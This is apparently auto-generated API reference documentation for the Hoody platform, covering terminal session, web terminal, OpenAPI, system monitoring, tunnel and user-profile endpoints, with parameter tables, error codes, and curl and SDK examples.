| `display` | string | No | X11 display number (e.g., `"1"` or `":1"`). Sets the `DISPLAY` env var and enables Hoody Display readiness waiting. |
| `shell` | string | No | Shell to use (bash/zsh/fish/sh). Ignored for SSH sessions. |
| `user` | string | No | System user to spawn the shell as. Ignored for SSH sessions. |
| `cwd` | string | No | Working directory for the terminal. Ignored for SSH sessions. |
| `startup_script` | string | No | Path to startup script to run |
| `welcome` | boolean | No | Show welcome message on startup (default: `false`) |
| `debug` | boolean | No | Enable debug output in wrapper script (default: `false`) |
| `desktop` | boolean | No | Enable Hoody Display desktop mode. Provides a full desktop environment instead of seamless individual windows (default: `false`) |
| `desktop_env` | string | No | Desktop environment to launch (implies `desktop=true`). Valid values: `xfce`, `mate` |
| `cols` | integer | No | Terminal columns (default: `80`) |
| `rows` | integer | No | Terminal rows (default: `24`) |
| `wait_until_display` | boolean | No | Whether to wait for Hoody Display readiness (default: `true` when display is configured) |
| `wait_timeout` | integer | No | Timeout in seconds for waiting (default: `300`) |
| `ssh_host` | string | No | SSH hostname/IP. Required together with `ssh_user` for SSH sessions. |
| `ssh_user` | string | No | SSH username. Required together with `ssh_host` for SSH sessions. |
| `ssh_port` | string | No | SSH port (default: `22`) |
| `ssh_password` | string | No | SSH password. Cannot contain shell-dangerous characters. |
| `ssh_key` | string | No | Base64-encoded SSH private key (PEM format) |
| `socks5_host` | string | No | SOCKS5 proxy hostname/IP for routing SSH connections |
| `socks5_port` | string | No | SOCKS5 proxy port (default: `1080`) |
| `socks5_user` | string | No | SOCKS5 proxy authentication username |
| `socks5_pass` | string | No | SOCKS5 proxy authentication password |

```json
{
  "terminal_id": "5",
  "display": "5",
  "shell": "bash",
  "user": "user",
  "cwd": "/home/user",
  "welcome": false,
  "cols": 80,
  "rows": 24
}
```

#### SDK Usage

```python
session = client.terminal.sessions.create(
    data={
        "terminal_id": "5",
        "display": "5",
        "shell": "bash",
        "cwd": "/home/user",
    }
)
```

#### Response



```json
{
  "status": "created",
  "terminal_id": 5,
  "display": ":5",
  "shell": "bash"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid terminal_id"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TERMINAL_ID` | `terminal_id` field is required | `terminal_id` field is required | Contact support |
| `INVALID_TERMINAL_ID` | Terminal ID must be numeric 1-65535 | Terminal ID must be numeric 1-65535 | Contact support |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Cannot create requested working directory"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CWD_PERMISSION_DENIED` | Requested working directory could not be created | Choose a writable path or disable `cwd_auto_create` | Choose a writable path or disable `cwd_auto_create` |


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to create terminal process"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SPAWN_FAILED` | Failed to create terminal process | Failed to create terminal process | Contact support |



---

### `DELETE` `/api/v1/terminal/{terminal_id}`

Completely destroy and remove a terminal session. This kills any running process, frees all resources, and removes the session from memory. Clients will be disconnected. Use this to cleanly terminate sessions without waiting for idle timeout.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | path | string | Yes | Terminal session ID to delete (numeric 1-65535) |

#### SDK Usage

```python
result = client.terminal.sessions.delete(terminal_id="5")
```

#### Response



```json
{
  "status": "deleted",
  "terminal_id": 5
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Terminal session not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SESSION_NOT_FOUND` | Terminal session does not exist | Verify terminal ID | Verify terminal ID |



---

### `GET` `/api/v1/terminal/ws`

Establishes a WebSocket connection for real-time bidirectional terminal I/O. Multiple clients can share the same terminal session using the same `terminal_id`. The protocol uses efficient binary framing where the first byte indicates message type (0-4 for commands, specific bytes for data). Supports session sharing, read-only mode, SSH connections, PID attachment, and comprehensive terminal features.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | query | string | No | Terminal session ID (numeric 1-65535, auto-generated if not provided) - Multiple clients can share by using same ID |
| `readonly` | query | boolean | No | Enable read-only mode for this client (blocks keyboard input) - Use `'true'`, `'1'`, or no value |
| `cwd` | query | string | No | Working directory for new sessions |
| `cwd_auto_create` | query | boolean | No | Auto-create `cwd` when the requested working directory does not exist yet. Only applies when `cwd` is explicitly provided for a new local session. Enable with `'true'`, `'1'`, or no value (default: `false`) |
| `shell` | query | string | No | Shell to use (bash, zsh, fish, tmux, ssh, etc.) |
| `user` | query | string | No | System user to spawn shell as (requires permissions) |
| `cmd` | query | string | No | Base64-encoded command to auto-execute on spawn |
| `env` | query | string | No | Environment variable `KEY=VALUE` (repeatable) |
| `display` | query | string | No | DISPLAY variable for X11 apps (auto-formats `:N`) |
| `pid` | query | integer | No | Attach to existing process PID for monitoring |
| `ssh_host` | query | string | No | SSH server hostname/IP for remote connections |
| `ssh_user` | query | string | No | SSH username (required if `ssh_host` provided) |
| `ssh_port` | query | string | No | SSH port (default: `22`) |
| `ssh_password` | query | string | No | SSH password (use with caution) |
| `socks5_host` | query | string | No | SOCKS5 proxy for SSH |
| `socks5_port` | query | string | No | SOCKS5 port (default: `1080`) |


This endpoint upgrades the HTTP connection to a WebSocket. Use a WebSocket client (e.g., `websocat`, browser `WebSocket API`, or the SDK) rather than a plain HTTP client.


#### SDK Usage

```python
ws = client.terminal.sessions.connectWebSocket(
    terminal_id="5",
    shell="bash",
    cwd="/home/user",
)
```

#### Response



```json
"Switching Protocols"
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameters"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_TERMINAL_ID` | Terminal ID must be numeric 1-65535 | Provide valid `terminal_id` | Provide valid `terminal_id` |
| `INVALID_PARAMETERS` | Invalid URL parameters | Check parameter format | Check parameter format |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Access denied"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MAX_CLIENTS_REACHED` | Server at capacity | Try again later | Try again later |
| `ORIGIN_CHECK_FAILED` | Origin validation failed | Connect from allowed origin | Connect from allowed origin |


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Terminal service unavailable"
}
```



---

### `GET` `/api/v1/terminal/history/{terminal_id}`

Retrieve the execution history for a specific terminal session, including all commands executed and their status.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | path | string | Yes | Terminal session ID (numeric 1-65535, can also be provided as query parameter) |

#### SDK Usage

```python
history = client.terminal.sessions.listHistoryIterator(terminal_id="5")
```

#### Response



```json
{
  "description": "Command history for the terminal session"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Missing terminal_id"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TERMINAL_ID` | Terminal ID required | Provide `terminal_id` in path or query | Provide `terminal_id` in path or query |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Terminal session not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SESSION_NOT_FOUND` | Terminal session does not exist | Check session ID or create new session | Check session ID or create new session |



---

### `GET` `/api/v1/terminal/raw`

Retrieve the raw terminal output buffer for a terminal session. Supports multiple output formats via the `format` query parameter. Defaults to text/download format if `format` parameter is not provided.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | query | string | No | Terminal session ID (numeric 1-65535, defaults to `"1"` if not provided) |
| `format` | query | string | No | Output format: `download`, `text`, or `html` (defaults to `"download"` if not provided) |
| `tail` | query | integer | No | Return only the last N lines of output |

#### SDK Usage

```python
output = client.terminal.sessions.getRawOutput(
    terminal_id="5",
    format="text",
    tail=100,
)
```

#### Response



```json
{
  "type": "application/octet-stream",
  "content": "Terminal output buffer as binary text"
}
```


```json
{
  "type": "text/plain",
  "content": "Terminal session not found"
}
```



---

### `GET` `/api/v1/terminal/screenshot`

Convert the terminal's ANSI output buffer to an image with customizable styling. Screenshots are automatically saved to `/hoody/storage/hoody-terminal/screenshots/{terminal_id}/` with timestamp as filename.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID (numeric 1-65535) |
| `format` | query | string | No | Output format: `png`, `jpeg`, `gif` (default: `png`) |
| `foreground` | query | string | No | Foreground color: `black`, `red`, `green`, `yellow`, `blue`, `magenta`, `cyan`, `white`, or RGB `(R,G,B,A)` (default: `white`) |
| `background` | query | string | No | Background color: same as foreground options (default: `black`) |
| `fontsize` | query | integer | No | Font size in pixels (default: `20`) |
| `save` | query | boolean | No | Save to storage directory (default: `true`) |

#### SDK Usage

```python
screenshot = client.terminal.sessions.captureScreenshot(
    terminal_id="5",
    format="png",
    foreground="white",
    background="black",
    fontsize=20,
    save=True,
)
```

#### Response



```json
{
  "type": "image/gif",
  "X-Screenshot-Path": "/hoody/storage/hoody-terminal/screenshots/5/2025-01-15_10-30-45.gif"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Screenshot tool not available"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOOL_NOT_AVAILABLE` | Screenshot tool (`textimg`) not installed | Install with: `go install github.com/jiro4989/textimg@latest` | Install with: `go install github.com/jiro4989/textimg@latest` |

---

# Terminal: Web UI & API Access

**Page:** api/terminal/web-interface

[Download Raw Markdown](./api/terminal/web-interface.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Terminal Web UI & API Access endpoints expose the browser-based interactive terminal and the machine-readable API specification. Use them to embed a customizable terminal session in a web client, or to programmatically retrieve the OpenAPI definition in JSON or YAML for tooling integration, client generation, or documentation.

## Web Terminal Interface

### `GET /`

Returns the interactive web terminal interface HTML page. The terminal can be heavily customized via URL query parameters controlling session sharing, display settings, SSH connections, proxying, and access control.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | query | string | No | Terminal session ID (numeric 1-65535, auto-generated if not provided) - Allows multiple clients to share the same terminal session |
| `cwd` | query | string | No | Initial working directory for new terminal sessions (only applied when session is first created) |
| `cwd_auto_create` | query | boolean | No | Auto-create cwd when the requested working directory does not exist yet. Only applies when cwd is explicitly provided for a new session. Enable with `true`, `1`, or no value (default: false) |
| `shell` | query | string | No | Shell to use: `bash`, `zsh`, `fish`, `sh`, etc. (default: server startup command, only applies to new sessions) |
| `user` | query | string | No | System user to spawn shell as (requires `su` permissions, only applies to new sessions, user must exist on system) |
| `cmd` | query | string | No | Base64-encoded command to execute automatically on spawn (executes once when shell starts) |
| `readonly` | query | boolean | No | Enable read-only mode (blocks keyboard input, allows viewing only) - Use `true`, `1`, or no value |
| `title` | query | string | No | Browser window/tab title (default: application default) - HTML tags removed, max 200 characters, useful for organizing multiple terminal tabs |
| `fontSize` | query | integer | No | Terminal font size in pixels (default: 13, range: 8-72) - Accepts `px` suffix (e.g., `16px`), applied immediately when terminal loads |
| `backgroundColor` | query | string | No | Terminal background color (default: `#2b2b2b`) - Supports hex colors (`#RGB`, `#RRGGBB`, `#RRGGBBAA`) or CSS named colors (`black`, `white`, `red`, `blue`, `green`, `navy`, etc.) |
| `panel` | query | string | No | URL to display in side panel iframe (enables panel feature) |
| `panel-visible` | query | boolean | No | Show panel on load (default: `true` if `panel` URL provided, `false` otherwise) |
| `panel-position` | query | string | No | Panel position: `left` or `right` (default: `right`) |
| `panel-width` | query | string | No | Initial panel width in pixels or percentage (default: `400px`) |
| `panel-resizable` | query | boolean | No | Allow panel resizing via drag handle (default: `true`) |
| `hide-toolbar` | query | boolean | No | Hide the terminal toolbar (default: `false`) |
| `ssh_host` | query | string | No | SSH server hostname or IP address (creates SSH session if provided with `ssh_user`) |
| `ssh_user` | query | string | No | SSH username (required if `ssh_host` is provided) |
| `ssh_port` | query | string | No | SSH port number (default: `22`) |
| `ssh_password` | query | string | No | SSH password for authentication (use with caution, prefer key-based auth) |
| `socks5_host` | query | string | No | SOCKS5 proxy hostname for SSH connection |
| `socks5_port` | query | string | No | SOCKS5 proxy port (default: `1080`) |
| `socks5_user` | query | string | No | SOCKS5 proxy username for authentication |
| `socks5_pass` | query | string | No | SOCKS5 proxy password for authentication |
| `desktop` | query | boolean | No | Enable Hoody Display desktop mode. Provides a full desktop environment instead of seamless individual windows (default: `false`) |
| `desktop_env` | query | string | No | Desktop environment to launch (implies `desktop=true`). Starts the specified DE session after the display is ready. Valid values: `xfce`, `mate` |
| `redirect` | query | string | No | Redirect mode. When set to `display`, creates/ensures the terminal session, waits for X11 display readiness, then returns HTTP 302 redirect to the display URL. Requires `terminal_id` and `display` params |
| `redirect_delay` | query | integer | No | Extra delay in seconds after display is ready before redirecting. Only used when `redirect=display` (default: `0`) |
| `arg` | query | string | No | Command-line arguments to pass to shell (requires `--url-arg` server option, can be repeated) |
| `welcome` | query | boolean | No | Show welcome message on startup (default: `false`). Supports `?welcome=true`, `?welcome=1`, or `?welcome` (no value = `true`) |
| `debug` | query | boolean | No | Enable debug output in wrapper script (default: `false`) |
| `reset` | query | boolean | No | Kill existing terminal process and reconfigure session (default: `false`). Use to switch shell, user, or from shell to SSH |
| `pid` | query | integer | No | Attach to an existing process by PID instead of spawning a new shell. Implies `reset` |
| `env` | query | string | No | Inject environment variable as `KEY=VALUE`. Can be repeated for multiple variables (e.g., `?env=FOO=bar&env=BAZ=qux`) |
| `display` | query | string | No | X11 display number for GUI applications. Accepts number (e.g., `1`) or `:number` (e.g., `:1`). Shorthand for `?env=DISPLAY=:N` |
| `env_inject` | query | boolean | No | Inject `HOODY_*` environment variables into shell session (default: `true`). Set to `false` to disable |
| `startup_script` | query | string | No | Path to startup script to execute before shell launch (only applied on first session creation) |
| `ssh_key` | query | string | No | Base64-encoded SSH private key for key-based authentication (prefer over password-based auth) |
| `panel-height` | query | string | No | Initial panel height for top/bottom positioned panels (default: `300px`) |

### Response



```html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Hoody Terminal</title>
  </head>
  <body>
    <div id="terminal"></div>
    <script src="/static/js/terminal.js"></script>
  </body>
</html>
```



### SDK Usage

```typescript
const terminal = await client.terminal.web.get({
  terminal_id: "42",
  shell: "bash",
  fontSize: 14,
  backgroundColor: "#1e1e1e",
  title: "Production Server",
  ssh_host: "10.0.0.5",
  ssh_user: "deploy",
  ssh_port: "2222",
});
```

---

## OpenAPI Specification

### `GET /api/v1/terminal/openapi.json`

Returns the complete OpenAPI 3.0 specification for this API in JSON format. The specification is automatically generated from source code annotations and is suitable for client generation, validation, and tooling integration.

This endpoint takes no parameters.

### Response



```json
{
  "openapi": "3.0.0",
  "info": {
    "title": "Hoody Terminal API",
    "version": "1.0.0"
  },
  "paths": {},
  "components": {}
}
```


```json
{}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SPEC_NOT_FOUND` | OpenAPI specification file missing | Regenerate spec with generate_openapi.py | Regenerate spec with generate_openapi.py |



### SDK Usage

```typescript
const spec = await client.terminal.docs.getJson();
```

---

### `GET /api/v1/terminal/openapi.yaml`

Returns the complete OpenAPI 3.0 specification for this API in YAML format. The specification is automatically generated from source code annotations and is suitable for human review, documentation tooling, and configuration of API gateways.

This endpoint takes no parameters.

### Response



```yaml
openapi: 3.0.0
info:
  title: Hoody Terminal API
  version: 1.0.0
paths: {}
components: {}
```


```json
{}
```



| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SPEC_NOT_FOUND` | OpenAPI specification file missing | Regenerate spec with generate_openapi.py | Regenerate spec with generate_openapi.py |



### SDK Usage

```typescript
const specYaml = await client.terminal.docs.getYaml();
```

---

# Terminal:API Documentation

**Page:** api/terminal-api-documentation

[Download Raw Markdown](./api/terminal-api-documentation.md)

---

## API Endpoints Summary

- **GET** `/api/v1/terminal/openapi.json` — Get OpenAPI specification in JSON format
- **GET** `/api/v1/terminal/openapi.yaml` — Get OpenAPI specification in YAML format

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Terminal:Health

**Page:** api/terminal-health

[Download Raw Markdown](./api/terminal-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/terminal/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Terminal:System Monitoring

**Page:** api/terminal-system-monitoring

[Download Raw Markdown](./api/terminal-system-monitoring.md)

---

## API Endpoints Summary

- **POST** `/api/v1/system/process/signal` — Send signal to process(es)
- **POST** `/api/v1/system/shutdown` — Shutdown the system
- **POST** `/api/v1/system/reboot` — Reboot the system
- **GET** `/api/v1/system/displays` — Get display information
- **GET** `/api/v1/system/ports` — List all listening network ports
- **GET** `/api/v1/system/daemon` — Get daemon programs configuration
- **GET** `/api/v1/system/processes` — List all system processes
- **GET** `/api/v1/system/processes/{pid}` — Get process details by PID
- **GET** `/api/v1/system/resources` — Get system resources and statistics

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Terminal:Terminal Automation

**Page:** api/terminal-terminal-automation

[Download Raw Markdown](./api/terminal-terminal-automation.md)

---

## API Endpoints Summary

- **GET** `/api/v1/terminal/snapshot` — Get rendered terminal snapshot
- **GET** `/api/v1/terminal/find` — Search terminal screen with regex
- **POST** `/api/v1/terminal/press` — Send named key presses to terminal
- **POST** `/api/v1/terminal/paste` — Paste text into terminal
- **POST** `/api/v1/terminal/wait` — Wait for terminal condition
- **GET** `/api/v1/terminal/automation/metrics` — Get terminal automation metrics
- **GET** `/api/v1/terminal/keys` — List supported key names for /press endpoint
- **GET** `/api/v1/terminal/{terminal_id}/automation` — Get per-session automation state

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Terminal:Terminal Execution

**Page:** api/terminal-terminal-execution

[Download Raw Markdown](./api/terminal-terminal-execution.md)

---

## API Endpoints Summary

- **POST** `/api/v1/terminal/execute` — Execute command in terminal session
- **GET** `/api/v1/terminal/result/{command_id}` — Get command result

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Terminal:Terminal Sessions

**Page:** api/terminal-terminal-sessions

[Download Raw Markdown](./api/terminal-terminal-sessions.md)

---

## API Endpoints Summary

- **GET** `/api/v1/terminal/ws` — WebSocket terminal connection
- **POST** `/api/v1/terminal/create` — Create a terminal session
- **GET** `/api/v1/terminal/history/{terminal_id}` — Get terminal command history
- **DELETE** `/api/v1/terminal/{terminal_id}` — Delete a terminal session
- **GET** `/api/v1/terminal/raw` — Get raw terminal output
- **GET** `/api/v1/terminal/screenshot` — Capture terminal screenshot
- **GET** `/api/v1/terminal/sessions` — List all terminal sessions

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Terminal:Terminal

**Page:** api/terminal-terminal

[Download Raw Markdown](./api/terminal-terminal.md)

---

## API Endpoints Summary

- **POST** `/api/v1/terminal/write` — Write input to terminal
- **POST** `/api/v1/terminal/execute/{command_id}/abort` — Abort a running command

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Tunnel:Health

**Page:** api/tunnel-health

[Download Raw Markdown](./api/tunnel-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/tunnel/health` — Kit health

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Tunnel:tunnel

**Page:** api/tunnel-tunnel

[Download Raw Markdown](./api/tunnel-tunnel.md)

---

## API Endpoints Summary

- **GET** `/api/v1/tunnel/bindings` — List active bindings across all sessions
- **GET** `/api/v1/tunnel/metrics` — Prometheus metrics
- **GET** `/api/v1/tunnel/sessions` — List active tunnel sessions
- **DELETE** `/api/v1/tunnel/sessions/{session_id}` — Terminate an active tunnel session
- **GET** `/api/v1/tunnel/tunnels` — List all active tunnels (combined sessions + bindings)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# User Profile Management

**Page:** api/users

[Download Raw Markdown](./api/users.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The user profile management endpoints let you retrieve and update user accounts, audit activity logs, and manage a personal encrypted key-value vault. Use these endpoints to manage account state, inspect API usage history, and store arbitrary secrets scoped to a user or realm.

## User profile

### `GET /api/v1/users/{id}`

Retrieve a user profile by ID. Admins can view any user; regular users can only view their own profile. This endpoint works even for banned users (read-only access).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | User ID to retrieve |



```bash
curl -X GET "https://api.hoody.com/api/v1/users/507f1f77bcf86cd799439011" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.users.get({
  id: "507f1f77bcf86cd799439011",
});
```


```json
{
  "statusCode": 200,
  "message": "User retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "username": "john_doe",
    "alias": "John Doe",
    "email": "john.doe@example.com",
    "is_admin": false,
    "is_banned": false,
    "metadata": {},
    "created_at": "2024-12-01T10:00:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid ID format"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "User not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested user does not exist or has been deleted | Verify the user ID is correct |



### `PATCH /api/v1/users/{id}`

Update a user profile. Regular users can update their own `alias` and `password` (requires `current_password` verification). Admins can update any user and set `is_admin`/`is_banned` flags. Admin users cannot be banned.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | User ID to update |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `alias` | string | No | New display name/alias (1–100 characters) |
| `public_key` | string | No | ED25519 public key (exactly 64 hexadecimal characters) |
| `metadata` | object | No | Custom metadata object for additional user information |
| `password` | string | No | New password (≥12 characters, 3 of 4 character classes). Requires `current_password`. |
| `current_password` | string | No | Current password (8–128 characters). Required when setting a new password. |
| `is_admin` | boolean | No | Admin status. **Admin-only field.** |
| `is_banned` | boolean | No | Ban status. **Admin-only field.** Admin users cannot be banned. |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/users/507f1f77bcf86cd799439011" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "alias": "John Smith",
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234"
  }'
```


```typescript
const { data, error } = await client.api.users.update({
  id: "507f1f77bcf86cd799439011",
  data: {
    alias: "John Smith",
    public_key: "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
  },
});
```


```json
{
  "statusCode": 200,
  "message": "User updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "username": "john_doe",
    "alias": "John Smith",
    "email": "john.doe@example.com",
    "public_key": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "is_admin": false,
    "is_banned": false,
    "metadata": {},
    "created_at": "2024-12-01T10:00:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |
| `INVALID_PUBLIC_KEY_FORMAT` | Invalid public key format | Public key must be exactly 64 hexadecimal characters (ED25519 format) | Provide a valid ED25519 public key as a 64-character hexadecimal string |
| `WEAK_PASSWORD` | Password does not meet requirements | Password must be at least 12 characters, 3 of 4 character classes | Choose a password with at least 12 characters, 3 of 4 character classes |
| `CURRENT_PASSWORD_REQUIRED` | Current password required | You must provide your current password to set a new password | Include the current_password field in your request |
| `CURRENT_PASSWORD_INCORRECT` | Current password incorrect | The provided current password does not match your account password | Verify your current password and try again |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |
| `CANNOT_BAN_ADMIN` | Cannot ban admin users | Admin users cannot be banned for security reasons | Remove admin privileges before banning this user |
| `CANNOT_MODIFY_OTHER_USER` | Cannot modify other user | Regular users can only modify their own profile | You can only update your own profile, or request admin access |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "User not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `USER_NOT_FOUND` | User not found | The requested user does not exist or has been deleted | Verify the user ID is correct |



### `POST /api/v1/users/me/retry-setup`

Manually claim a free-tier server and create the default project and container. This operation is idempotent and safe to call if the account is already provisioned.

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `region` | string | No | Optional preferred region override (lowercase alphanumeric and hyphens, max 50 characters) |



```bash
curl -X POST "https://api.hoody.com/api/v1/users/me/retry-setup" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "region": "us-east-1"
  }'
```


```typescript
const { data, error } = await client.api.users.retrySetup({
  data: {
    region: "us-east-1",
  },
});
```


```json
{
  "statusCode": 200,
  "data": {
    "server": {},
    "project": {},
    "container": {}
  }
}
```



## Activity logs

### `GET /api/v1/users/auth/activity`

Retrieve activity logs for the authenticated user with optional filtering by date range, status code, HTTP method, or realm.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | Page number. Default: `1` |
| `limit` | query | integer | No | Results per page. Default: `50` |
| `start_date` | query | string | No | Filter logs after this date |
| `end_date` | query | string | No | Filter logs before this date |
| `errors_only` | query | string | No | Show only errors (status `&ge;` 400). Allowed values: `"true"`, `"false"` |
| `min_status` | query | integer | No | Minimum status code |
| `max_status` | query | integer | No | Maximum status code |
| `method` | query | string | No | Filter by HTTP method. Allowed values: `"GET"`, `"POST"`, `"PUT"`, `"PATCH"`, `"DELETE"` |
| `realm_id` | query | string | No | Filter by realm ID |



```bash
curl -X GET "https://api.hoody.com/api/v1/users/auth/activity?page=1&limit=50&errors_only=true" \
  -H "Authorization: Bearer <token>"
```


```typescript
const { data, error } = await client.api.activity.listIterator({
  page: 1,
  limit: 50,
  errors_only: "true",
});
```


```json
{
  "statusCode": 200,
  "message": "Activity logs retrieved successfully",
  "data": [
    {
      "id": "1a9c3592695c087a8f35ceae",
      "user_id": "507f1f77bcf86cd799439011",
      "realm_id": "507f1f77bcf86cd799439011",
      "method": "GET",
      "path": "/api/v1/projects",
      "status_code": 200,
      "ip_address": "192.168.1.1",
      "user_agent": "Mozilla/5.0...",
      "created_at": "2025-11-18T20:00:00Z"
    }
  ],
  "metadata": {
    "total": 100,
    "page": 1,
    "limit": 50,
    "pages": 2
  }
}
```



